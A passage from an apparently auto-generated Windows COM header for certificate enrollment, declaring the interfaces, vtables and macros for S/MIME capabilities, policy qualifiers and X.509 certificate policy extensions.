Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSmimeCapabilities_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionSmimeCapabilities_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionSmimeCapabilities_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionSmimeCapabilities_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionSmimeCapabilities_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionSmimeCapabilities_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSmimeCapabilities_get_SmimeCapabilities(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionSmimeCapabilities_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0031 */\n/* [local] */ \n\ntypedef \nenum PolicyQualifierType\n    {\n        PolicyQualifierTypeUnknown\t= 0,\n        PolicyQualifierTypeUrl\t= 1,\n        PolicyQualifierTypeUserNotice\t= 2,\n        PolicyQualifierTypeFlags\t= 3\n    } \tPolicyQualifierType;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0031_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0031_v0_0_s_ifspec;\n\n#ifndef __IPolicyQualifier_INTERFACE_DEFINED__\n#define __IPolicyQualifier_INTERFACE_DEFINED__\n\n/* interface IPolicyQualifier */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IPolicyQualifier;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31c-217d-11da-b2a4-000e7bbb2b09\")\n    IPolicyQualifier : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in BSTR strQualifier,\n            /* [in] */ PolicyQualifierType Type) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Qualifier( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out PolicyQualifierType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IPolicyQualifierVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IPolicyQualifier * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IPolicyQualifier * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IPolicyQualifier * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IPolicyQualifier * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ __RPC__in BSTR strQualifier,\n            /* [in] */ PolicyQualifierType Type);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IPolicyQualifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Qualifier )( \n            __RPC__in IPolicyQualifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IPolicyQualifier * This,\n            /* [retval][out] */ __RPC__out PolicyQualifierType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IPolicyQualifierVtbl;\n\n    interface IPolicyQualifier\n    {\n        CONST_VTBL struct IPolicyQualifierVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IPolicyQualifier_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IPolicyQualifier_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IPolicyQualifier_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IPolicyQualifier_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IPolicyQualifier_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IPolicyQualifier_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IPolicyQualifier_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IPolicyQualifier_InitializeEncode(This,strQualifier,Type)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,strQualifier,Type) ) \n\n#define IPolicyQualifier_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IPolicyQualifier_get_Qualifier(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Qualifier(This,pValue) ) \n\n#define IPolicyQualifier_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IPolicyQualifier_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IPolicyQualifier_INTERFACE_DEFINED__ */\n\n\n#ifndef __IPolicyQualifiers_INTERFACE_DEFINED__\n#define __IPolicyQualifiers_INTERFACE_DEFINED__\n\n/* interface IPolicyQualifiers */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IPolicyQualifiers;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31d-217d-11da-b2a4-000e7bbb2b09\")\n    IPolicyQualifiers : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifier **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IPolicyQualifier *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IPolicyQualifiersVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IPolicyQualifiers * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IPolicyQualifiers * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IPolicyQualifiers * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifier **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ __RPC__in_opt IPolicyQualifier *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IPolicyQualifiers * This);\n        \n        END_INTERFACE\n    } IPolicyQualifiersVtbl;\n\n    interface IPolicyQualifiers\n    {\n        CONST_VTBL struct IPolicyQualifiersVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IPolicyQualifiers_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IPolicyQualifiers_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IPolicyQualifiers_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IPolicyQualifiers_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IPolicyQualifiers_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IPolicyQualifiers_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IPolicyQualifiers_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IPolicyQualifiers_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IPolicyQualifiers_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IPolicyQualifiers_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IPolicyQualifiers_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IPolicyQualifiers_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IPolicyQualifiers_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IPolicyQualifiers_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificatePolicy_INTERFACE_DEFINED__\n#define __ICertificatePolicy_INTERFACE_DEFINED__\n\n/* interface ICertificatePolicy */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificatePolicy;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31e-217d-11da-b2a4-000e7bbb2b09\")\n    ICertificatePolicy : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyQualifiers( \n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifiers **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificatePolicyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificatePolicy * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificatePolicy * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificatePolicy * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificatePolicy * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in ICertificatePolicy * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyQualifiers )( \n            __RPC__in ICertificatePolicy * This,\n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifiers **ppValue);\n        \n        END_INTERFACE\n    } ICertificatePolicyVtbl;\n\n    interface ICertificatePolicy\n    {\n        CONST_VTBL struct ICertificatePolicyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificatePolicy_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificatePolicy_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificatePolicy_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificatePolicy_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificatePolicy_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificatePolicy_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificatePolicy_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificatePolicy_Initialize(This,pValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pValue) ) \n\n#define ICertificatePolicy_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define ICertificatePolicy_get_PolicyQualifiers(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PolicyQualifiers(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificatePolicy_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificatePolicies_INTERFACE_DEFINED__\n#define __ICertificatePolicies_INTERFACE_DEFINED__\n\n/* interface ICertificatePolicies */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificatePolicies;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31f-217d-11da-b2a4-000e7bbb2b09\")\n    ICertificatePolicies : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicy **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICertificatePolicy *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificatePoliciesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificatePolicies * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificatePolicies * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificatePolicies * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificatePolicies * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicy **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICertificatePolicies * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICertificatePolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ __RPC__in_opt ICertificatePolicy *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICertificatePolicies * This);\n        \n        END_INTERFACE\n    } ICertificatePoliciesVtbl;\n\n    interface ICertificatePolicies\n    {\n        CONST_VTBL struct ICertificatePoliciesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificatePolicies_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificatePolicies_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificatePolicies_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificatePolicies_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificatePolicies_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificatePolicies_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificatePolicies_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificatePolicies_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICertificatePolicies_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICertificatePolicies_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICertificatePolicies_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICertificatePolicies_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICertificatePolicies_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificatePolicies_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionCertificatePolicies_INTERFACE_DEFINED__\n#define __IX509ExtensionCertificatePolicies_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionCertificatePolicies */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionCertificatePolicies;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab320-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionCertificatePolicies : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Policies( \n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionCertificatePoliciesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionCertificatePolicies * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in 